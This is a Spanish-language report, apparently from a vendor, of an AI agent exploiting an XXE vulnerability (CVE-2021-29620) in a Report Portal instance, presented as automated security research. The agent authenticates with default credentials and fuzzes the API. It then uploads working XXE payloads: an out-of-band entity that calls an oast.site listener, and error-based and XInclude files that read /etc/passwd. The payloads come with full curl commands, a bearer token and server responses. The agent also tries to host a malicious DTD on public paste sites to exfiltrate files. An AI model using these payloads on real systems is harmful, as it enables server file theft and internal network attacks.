Automatización de la investigación de seguridad: el motor de IA explota una XXE en Report Portal (CVE-2021-29620)

[*] Documentar el proceso de autenticación para habilitar las pruebas autenticadas. El objetivo principal es identificar la página o el endpoint de inicio de sesión, capturar una solicitud de inicio de sesión de ejemplo (incluidos el método, la URL, las cabeceras y el cuerpo) y, a continuación, utilizar las credenciales proporcionadas 'default' y '1q2w3e' para confirmar que el inicio de sesión se realiza correctamente. El resultado esperado es un proceso documentado y repetible para obtener una sesión válida, incluido el token de sesión o la cookie concretos que emite la aplicación tras una autenticación correcta.

El proceso de autenticación de la aplicación web en http://REDACTED se ha documentado correctamente.

Flujo de autenticación

1. Página de inicio de sesión: al usuario se le presenta una página de inicio de sesión en http://REDACTED/ui/.

2. Envío de credenciales: el usuario introduce sus credenciales (nombre de usuario: 'default', contraseña: '1q2w3e') en el formulario proporcionado.

3. Solicitud de autenticación: al enviar el formulario, la aplicación envía una solicitud POST al siguiente endpoint: http://REDACTED/uat/sso/oauth/token

La solicitud incluye lo siguiente:

* **Método:** `POST`
* **Cabeceras:**
    * `Content-Type`: `application/x-www-form-urlencoded`
    * `Authorization`: `Basic dWk6dWltYW4=`
* **Cuerpo:** `grant_type=password&username=default&password=1q2w3e`

1. Obtención del token de sesión: el servidor valida las credenciales y, si son correctas, responde con un objeto JSON que contiene un access_token. Este token es un JSON Web Token (JWT) que sirve como token de sesión para las solicitudes posteriores.

Respuesta de ejemplo:

{
  "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NTQ1NjAxOTcsInVzZXJfbmFtZSI6ImRlZmF1bHQiLCJhdXRob3JpdGllcyI6WyJST0xFX1VTRVIiXSwianRpIjoiYjg1NTMzOTQtMDA1ZC00ZDJiLThiZTctN2RkY2U5ZmFiMDk2IiwiY2xpZW50X2lkIjoidWkiLCJzY29wZSI6WyJ1aSJdfQ.7OhSQ3CS3dNxQKP6Hkhzn3p2lGtx_HvHG_D2pBiL4dQ",
  "token_type": "bearer",
  "refresh_token": "...",
  "expires_in": 86399,
  "scope": "ui"
}

1. Sesión autenticada: la aplicación ya está autenticada. Todas las solicitudes posteriores a la API deben incluir el access_token en la cabecera Authorization como bearer token.

Ejemplo: Authorization: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Este proceso documentado proporciona un método claro y repetible para autenticarse en la aplicación, lo que resulta esencial para realizar nuevas pruebas de vulnerabilidades con autenticación.

• Initial navigation to http://REDACTED:

The application redirects to http://REDACTED/ui/

• Login Page Screenshot:

screenshot_015fb570-7f6c-4298-96ba-9bb6e4cf006b_d22e7233-f4f9-47e6-a188-d9ef303c75e4.png

• Login Page Content:

The login page contains a form with fields for "Login" and "Password".

• Login Credentials:

Username: 'default', Password: '1q2w3e'

• Login Action:

Filled the login and password fields and clicked the 'Login' button.

• Post-Login Screenshot:

screenshot_015fb570-7f6c-4298-96ba-9bb6e4cf006b_47ed351e-591a-4dcc-8799-84b1876ff475.png

• Authentication Request:

POST /uat/sso/oauth/token HTTP/1.1
Host: REDACTED
Content-Type: application/x-www-form-urlencoded
Authorization: Basic dWk6dWltYW4=

grant_type=password&username=default&password=1q2w3e

• Authentication Response:

HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
...
{
  "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NTQ1NjAxOTcsInVzZXJfbmFtZSI6ImRlZmF1bHQiLCJhdXRob3JpdGllcyI6WyJST0xFX1VTRVIiXSwianRpIjoiYjg1NTMzOTQtMDA1ZC00ZDJiLThiZTctN2RkY2U5ZmFiMDk2IiwiY2xpZW50X2lkIjoidWkiLCJzY29wZSI6WyJ1aSJdfQ.7OhSQ3CS3dNxQKP6Hkhzn3p2lGtx_HvHG_D2pBiL4dQ",
  "token_type": "bearer",
  "refresh_token": "...",
  "expires_in": 86399,
  "scope": "ui"
}

Superficie de ataque de la aplicación

[*] Ahora que el proceso de autenticación está documentado, el siguiente paso es descubrir la superficie de ataque de la aplicación. Esta tarea consiste en utilizar el token de autenticación obtenido para rastrear o recorrer de forma sistemática toda la aplicación. El objetivo principal es identificar todas las páginas, funciones y endpoints de API accesibles para el usuario autenticado, creando un mapa completo que se utilizará para localizar posibles funcionalidades de procesamiento de XML en las tareas posteriores.

La superficie de ataque de la aplicación se ha mapeado correctamente. Comencé utilizando ffuf para aplicar fuerza bruta a directorios y archivos, lo que condujo al descubrimiento de los endpoints /health, /info y /ui. Un fuzzing posterior de la capa de API reveló el endpoint /api/v1/api-docs, que proporcionó un documento JSON de Swagger 2.0. Este documento describe toda la estructura de la API. Tras analizar la documentación de la API, identifiqué el endpoint /v1/{projectName}/launch/import como un posible candidato para XXE, ya que procesa archivos XML. También confirmé que mi usuario está asignado al proyecto «default_personal». El siguiente paso lógico es crear un archivo XML malicioso e intentar explotar la funcionalidad de importación.

• ffuf_-u_http://REDACTED/FUZZ_-w_agent/tools/wordlists/Web-Content/common.txt_-H_..._output:

"The ffuf scan revealed several endpoints, most of which resulted in 302 redirects. Key findings include the /health, /info, and /ui endpoints, which returned 200 OK status codes, providing valuable information about the application's status, build, and user interface."

• ffuf_api_v1_fuzzing_output:

"The ffuf scan of the /api/v1/ endpoint discovered the api-docs endpoint, which provided a Swagger 2.0 JSON document. This document is a critical piece of information for understanding the API structure."

• api-docs_swagger.json:

"The Swagger JSON file provides a comprehensive overview of the available API endpoints, methods, and parameters. Analysis of this file revealed the /v1/{projectName}/launch/import endpoint, which accepts multipart/form-data and processes XML files. This is a prime candidate for XXE vulnerability testing."

Archivo XML malicioso

[*] Crear un archivo XML malicioso que contenga un payload XXE en banda diseñado para leer el archivo /etc/passwd. Cargar este archivo en el endpoint /v1/default_personal/launch/import mediante una solicitud multipart/form-data, autenticada con el bearer token obtenido anteriormente. El objetivo es determinar si la respuesta de la aplicación contiene el contenido del archivo /etc/passwd, lo que confirmaría una vulnerabilidad XXE clásica en banda.

La aplicación es vulnerable a una inyección de entidades externas XML (XXE) ciega fuera de banda (OOB). Al crear un archivo XML malicioso con una entidad de parámetro que apunta a un servidor externo, pude provocar una llamada DNS de retorno, lo que confirma que el analizador XML de la aplicación está procesando entidades externas.

Resumen de las acciones

1. Prueba inicial en banda: primero intenté un ataque XXE clásico en banda creando un archivo XML para leer /etc/passwd. La respuesta del servidor no incluyó el contenido del archivo, lo que indica que la XXE en banda no es posible.
2. Prueba OOB con entidad general: a continuación probé la XXE OOB utilizando una entidad general (&xxe;). Esto no produjo ninguna llamada de retorno, lo que sugiere que las entidades generales no se procesan de una forma que permita interacciones OOB.
3. Prueba OOB con entidad de parámetro: por último, probé la XXE OOB utilizando una entidad de parámetro (%xxe;). Esto activó correctamente una llamada DNS de retorno a mi servidor Interactsh, lo que confirma la vulnerabilidad XXE ciega.

Pasos para reproducirlo

1. Inicie una sesión de Interactsh para obtener una URL de retorno única.
2. Cree un archivo XML malicioso (por ejemplo, malicious-oob-parameter-entity.xml) con el siguiente contenido, sustituyendo <INTERACTSH_URL> por su URL de Interactsh:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://<INTERACTSH_URL>"> %xxe;]>
<launch name="test" temporary="true">
    <description>test</description>
    <mode>DEFAULT</mode>
</launch>

1. Envíe una solicitud POST a http://REDACTED/api/v1/default_personal/launch/import con un bearer token válido y el archivo XML malicioso como adjunto multipart/form-data.
2. Compruebe en su cliente de Interactsh si ha llegado una llamada DNS de retorno del servidor.

Evidencia

• Payload XML malicioso: consulte el artefacto malicious-oob-parameter-entity.xml.
• Solicitud cURL: consulte el artefacto curl-request.txt.
• Llamada de retorno de Interactsh: consulte el artefacto interactsh-callback.json.

Esta vulnerabilidad puede utilizarse para exfiltrar datos sensibles del servidor y para realizar ataques de falsificación de solicitudes del lado del servidor (SSRF) contra la red interna. Los nuevos intentos de exfiltrar datos no tuvieron éxito debido a errores de análisis, pero la interacción OOB confirmada es suficiente para demostrar la existencia de la vulnerabilidad.

• malicious-oob-parameter-entity.xml:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://d29ihorsis9lrbenk1r0ewbi1ts3iecdb.oast.site"> %xxe;]>
<launch name="test" temporary="true">
    <description>test</description>
    <mode>DEFAULT</mode>
</launch>

• curl-request.txt:

-X POST "http://REDACTED/api/v1/default_personal/launch/import" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NTQ1NjAxOTcsInVzZXJfbmFtZSI6ImRlZmF1bHQiLCJhdXRob3JpdGllcyI6WyJST0xFX1VTRVIiXSwianRpIjoiYjg1NTMzOTQtMDA1ZC00ZDJiLThiZTctN2RkY2U5ZmFiMDk2IiwiY2xpZW50X2lkIjoidWkiLCJzY29wZSI6WyJ1aSJdfQ.7OhSQ3CS3dNxQKP6Hkhzn3p2lGtx_HvHG_D2pBiL4dQ" -F "file=@malicious-oob-parameter-entity.xml"

• interactsh-callback.json:

[
  {
    "protocol": "dns",
    "raw_request": ";; opcode: QUERY, status: NOERROR, id: 57100\n;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0\n\n;; QUESTION SECTION:\n;D29IHorSIs9lRBEnk1R0Ewbi1ts3IeCDB.oAsT.siTE.\tIN\t A\n",
    "remote_address": "172.253.2.214"
  },
  {
    "protocol": "dns",
    "raw_request": ";; opcode: QUERY, status: NOERROR, id: 27154\n;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0\n\n;; QUESTION SECTION:\n;D29ihoRsiS9LrbeNK1r0EWBi1Ts3IeCDb.OAST.siTE.\tIN\t AAAA\n",
    "remote_address": "172.253.228.146"
  },
  {
    "protocol": "dns",
    "raw_request": ";; opcode: QUERY, status: NOERROR, id: 22390\n;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0\n\n;; QUESTION SECTION:\n;d29IhorSIS9lRBENK1r0ewbi1tS3IeCdb.OaSt.siTE.\tIN\t AAAA\n",
    "remote_address": "172.253.13.148"
  },
  {
    "protocol": "dns",
    "raw_request": ";; opcode: QUERY, status: NOERROR, id: 50970\n;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0\n\n;; QUESTION SECTION:\n;d29IHorSiS9LrBenk1r0EwBI1ts3iECdb.OAST.sITE.\tIN\t AAAA\n",
    "remote_address": "172.253.12.158"
  },
  {
    "protocol": "dns",
    "raw_request": ";; opcode: QUERY, status: NOERROR, id: 41406\n;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0\n\n;; QUESTION SECTION:\n;d29iHOrSIs9LrbenK1r0eWBi1tS3IeCdB.oast.SITE.\tIN\t AAAA\n",
    "remote_address": "172.253.5.152"
  },
  {
    "protocol": "dns",
    "raw_request": ";; opcode: QUERY, status: NOERROR, id: 38150\n;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0\n\n;; QUESTION SECTION:\n;D29IHORsis9LrBEnK1r0EwBI1tS3iEcDB.oast.SITe.\tIN\t AAAA\n",
    "remote_address": "172.253.5.147"
  }
]

Exfiltración OOB mediante XXE

[*] Ahora que se ha confirmado una vulnerabilidad XXE ciega mediante una llamada de retorno OOB, el siguiente paso crítico es demostrar su impacto exfiltrando datos. Esta tarea implicará alojar un archivo DTD externo malicioso. Este DTD se diseñará para leer un archivo local sensible del servidor (por ejemplo, /etc/hostname) y transmitir su contenido a nuestro listener OAST incrustando los datos en un parámetro de URL. El payload XML cargado en la funcionalidad de importación se modificará para hacer referencia a este DTD alojado externamente. El resultado esperado es recibir en el listener OAST una solicitud HTTP que contenga el contenido exfiltrado del archivo, demostrando así que la vulnerabilidad puede utilizarse para el robo de datos.

-- Error encontrado al ejecutar la tarea

[*] El intento anterior de exfiltrar datos mediante un DTD externo falló debido a un error del lado de la herramienta, no a un resultado negativo del objetivo. El siguiente paso inmediato debe ser reintentar esta acción crítica para determinar el impacto completo de la vulnerabilidad XXE ciega confirmada. Esta tarea recreará las condiciones para la exfiltración de datos alojando un DTD malicioso diseñado para leer un archivo local (/etc/hostname) y enviar su contenido a un listener OAST. El objetivo es recibir en el listener una llamada de retorno que contenga el nombre de host del servidor, lo que demostrará de forma definitiva que la vulnerabilidad puede utilizarse para la exfiltración de datos.

-- El intento de exfiltrar datos mediante una vulnerabilidad XXE ciega no ha tenido éxito. El principal obstáculo es la imposibilidad de alojar un archivo DTD malicioso en un servidor externo al que pueda acceder la aplicación objetivo. He intentado utilizar un servidor local de Python, pastebin y gists de GitHub, pero todos los métodos han fallado. La aplicación objetivo no puede acceder al servidor local, y no puedo crear un archivo sin formato accesible públicamente en pastebin ni en gists de GitHub. Sin una forma de servir el archivo DTD, no puedo construir el payload XXE completo necesario para exfiltrar datos. Por lo tanto, aunque la vulnerabilidad XXE ciega está confirmada, no puedo demostrar su impacto completo.

[*] Dado que los intentos de exfiltrar datos mediante un DTD externo han fallado por limitaciones del entorno (imposibilidad de alojar un archivo accesible), el siguiente paso lógico es intentar un método alternativo de exfiltración que no dependa de un servidor externo. Esta tarea se centrará en provocar una XXE ciega basada en errores. Se creará un archivo XML malicioso con un DOCTYPE autocontenido que intente leer un archivo local (por ejemplo, /etc/passwd) y utilice después su contenido para construir una ruta de archivo no válida, forzando un error del analizador. El objetivo es analizar la respuesta del servidor en busca de un mensaje de error detallado que filtre el contenido del archivo objetivo, demostrando así la exfiltración de datos sin necesidad de una conexión fuera de banda.

-- El intento de exfiltrar datos mediante XXE basada en errores y basada en XInclude no ha tenido éxito. Aunque la vulnerabilidad XXE ciega fuera de banda (OOB) está confirmada, demostrar su impacto completo mediante la exfiltración de datos ha resultado difícil debido a las limitaciones del entorno y al comportamiento específico del analizador de la aplicación.

Resumen de las acciones

1. Intento de XXE basada en errores: creé un archivo XML malicioso con un DOCTYPE autocontenido que intentaba leer /etc/passwd y utilizar su contenido para construir una ruta de archivo no válida. El servidor respondió con un error de análisis, pero no filtró el contenido del archivo. En cambio, el mensaje de error indicaba que la referencia a la entidad de parámetro estaba mal colocada, lo que impidió el intento de exfiltración.

2. Intento de XXE basada en XInclude: a continuación probé la XXE mediante XInclude, que es un método alternativo para incluir archivos externos. El servidor respondió con un mensaje de éxito que indicaba que el archivo se había importado. Sin embargo, sin una forma de ver los datos importados, es imposible confirmar si el contenido de /etc/passwd se incluyó correctamente.

Conclusión

Aunque se ha confirmado una vulnerabilidad XXE ciega mediante la interacción OOB, todos los intentos de exfiltrar datos han fracasado. La técnica basada en errores falló debido al manejo de errores específico del analizador, y la técnica XInclude no fue concluyente. Sin un método fiable de exfiltración de datos, el impacto completo de esta vulnerabilidad sigue sin confirmarse.

Evidencia

• Payloads XML maliciosos: consulte los artefactos malicious-error-based.xml y malicious-xinclude.xml.
• Solicitudes cURL: consulte los artefactos curl-error-based-request.txt y curl-xinclude-request.txt.
• Respuestas del servidor: consulte los artefactos curl-error-based-response.json y curl-xinclude-response.json.
• malicious-error-based.xml:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE launch [
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
    %eval;
    %error;
]>
<launch name="test" temporary="true">
    <description>test</description>
    <mode>DEFAULT</mode>
</launch>

• curl-error-based-request.txt:

curl -X POST "http://REDACTED/api/v1/default_personal/launch/import" -H "Authorization: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NTQ1NjAxOTcsInVzZXJfbmFtZSI6ImRlZmF1bHQiLCJhdXRob3JpdGllcyI6WyJST0xFX1VTRVIiXSwianRpIjoiYjg1NTMzOTQtMDA1ZC00ZDJiLThiZTctN2RkY2U5ZmFiMDk2IiwiY2xpZW50X2lkIjoidWkiLCJzY29wZSI6WyJ1aSJdfQ.7OhSQ3CS3dNxQKP6Hkhzn3p2lGtx_HvHG_D2pBiL4dQ" -H "Content-Type: multipart/form-data" -F "file=@malicious-error-based.xml"

• curl-error-based-response.json:

{"errorCode":40035,"message":"Error while importing the file. 'Error during parsing the xml file: 'The parameter entity reference \"%file;\" cannot occur within markup in the internal subset of the DTD.''}"}

• malicious-xinclude.xml:

<?xml version="1.0" encoding="UTF-8"?>
<launch name="test" temporary="true" xmlns:xi="http://www.w3.org/2001/XInclude">
    <description>
        <xi:include href="file:///etc/passwd" parse="text"/>
    </description>
    <mode>DEFAULT</mode>
</launch>

• curl-xinclude-request.txt:

curl -X POST "http://REDACTED/api/v1/default_personal/launch/import" -H "Authorization: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NTQ1NjAxOTcsInVzZXJfbmFtZSI6ImRlZmF1bHQiLCJhdXRob3JpdGllcyI6WyJST0xFX1VTRVIiXSwianRpIjoiYjg1NTMzOTQtMDA1ZC00ZDJiLThiZTctN2RkY2U5ZmFiMDk2IiwiY2xpZW50X2lkIjoidWkiLCJzY29wZSI6WyJ1aSJdfQ.7OhSQ3CS3dNxQKP6Hkhzn3p2lGtx_HvHG_D2pBiL4dQ" -H "Content-Type: multipart/form-data" -F "file=@malicious-xinclude.xml"

• curl-xinclude-response.json:

{"message":"Launch with id = 350b0f87-e4d3-4ddb-93b7-a24ea6dd2755 is successfully imported."}

Explotación basada en XInclude

[*] Ahora que un payload XXE basado en XInclude se ha 'importado correctamente' como un 'launch' (ID: 350b0f87-e4d3-4ddb-93b7-a24ea6dd2755), el siguiente paso es explorar a fondo la interfaz de usuario de la aplicación web. El objetivo es localizar dónde se almacenan y se muestran estos launches importados. Busque secciones como 'Launches', 'Reports', 'Projects' o cualquier panel que enumere la actividad anterior. El propósito es ver los detalles del launch importado y comprobar si el contenido de '/etc/passwd' se muestra en la página, lo que convertiría la XXE ciega en una divulgación de datos en banda confirmada.

-- He explorado correctamente la interfaz de usuario de la aplicación web para determinar si el payload XXE basado en XInclude produjo una divulgación de datos en banda. Navegué a la sección 'Launches' y localicé el launch importado llamado 'malicious-xinclude'. Al inspeccionar los detalles de este launch, no encontré ninguna evidencia del contenido del archivo /etc/passwd. La página mostraba el mensaje «No results found», lo que indica que la aplicación no mostró la entidad externa incluida. Por lo tanto, puedo concluir que, aunque la aplicación puede ser vulnerable a XInclude, este payload concreto no conduce a la exfiltración de datos en banda a través de la interfaz de usuario.

• screenshot_90c1225b-75fc-464c-816b-4f25db5fb0e1_3479491b-1b22-4a19-816a-7f76b397c856.png:

Login page screenshot

• screenshot_90c1225b-75fc-464c-816b-4f25db5fb0e1_330558c7-183d-4dd2-8fdb-2c64dbb67b46.png:

Launches page screenshot

• screenshot_90c1225b-75fc-464c-816b-4f25db5fb0e1_0191cba7-023b-4c09-a04a-46ff56d7375b.png:

Launch detail page screenshot